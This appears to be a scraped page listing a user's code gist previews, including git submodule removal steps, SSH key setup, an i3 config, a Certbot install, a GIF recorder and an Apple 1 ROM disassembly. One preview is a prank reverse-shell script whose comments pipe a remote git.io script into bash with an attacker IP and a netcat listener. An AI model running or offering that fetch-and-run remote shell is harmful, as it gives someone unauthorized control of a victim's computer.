intfrr

How CI/CD prevents the fear of breaking things

Feature toggle - scientist/scientist4j

intfrr

#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine

# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
#   open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls

intfrr

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Date;
import java.util.Properties;
import java.util.Timer;
import java.util.TimerTask;

intfrr

Multiple SSH Keys settings for different github account

create different public key

create different ssh key according the article Mac Set-Up Git

$ ssh-keygen -t rsa -C "your_email@youremail.com"

intfrr

To remove a submodule you need to:

• Delete the relevant section from the .gitmodules file.
• Stage the .gitmodules changes git add .gitmodules
• Delete the relevant section from .git/config.
• Run git rm --cached path_to_submodule (no trailing slash).
• Run rm -rf .git/modules/path_to_submodule (no trailing slash).
• Commit git commit -m "Removed submodule "
• Delete the now untracked submodule files rm -rf path_to_submodule

intfrr

# i3 config file (v4)
# Please see http://i3wm.org/docs/userguide.html for a complete reference!

# Set mod key (Mod1=<Alt>, Mod4=<Super>)
set $mod Mod4

# set default desktop layout (default is tiling)
# workspace_layout tabbed <stacking|tabbed>

# Configure border style <normal|1pixel|pixel xx|none|pixel>

intfrr

#!/bin/bash
###########
# ./convert_repo.sh
# Author: Igor Serko <igor.serko@gmail.com>
# Description: Allows the user to join multiple git repositories under one single repository
# Procedure: Using git filter-branch we rewrite the history of every repo
# example of current tree
#     -- REPOONE
#      |-- repoone files
#     -- REPOTWO

intfrr

Installation and Usage of Certbot on CentOS

Installation

Install certbot-auto

# mkdir -p /opt/{bin,certbot/bin} \
  && curl -sS \
 -o /opt/certbot/bin/certbot-auto \

intfrr

#!/bin/bash

# AUTHOR:   (c) Rob W 2012, modified by MHC (http://askubuntu.com/users/81372/mhc)
# NAME:     GIFRecord 0.1
# DESCRIPTION:  A script to record GIF screencasts.
# LICENSE:  GNU GPL v3 (http://www.gnu.org/licenses/gpl.html)
# DEPENDENCIES:   byzanz,gdialog,notify-send (install via sudo add-apt-repository ppa:fossfreedom/byzanz; sudo apt-get update && sudo apt-get install byzanz gdialog notify-osd)
# Byzanz Gif Maker
#
# Byzanz is an awesome tool for recording GIFs on Linux. It is light and gives an output directly to a gif file. The colors go off often, but the small file size makes up for it.

intfrr

;
; the "monitor ROM" of an apple 1 fit in one page (256 bytes).
;
; this is my attempt to take the disassembled code, give names to the
; variables and routines, and try to document how it worked.
;
;
; an apple 1 had 8KB of RAM (more, if you hacked on the motherboard), and a
; peripheral chip that drove the keyboard and video. the video was run by a
; side processor that could treat the display as an append-only terminal that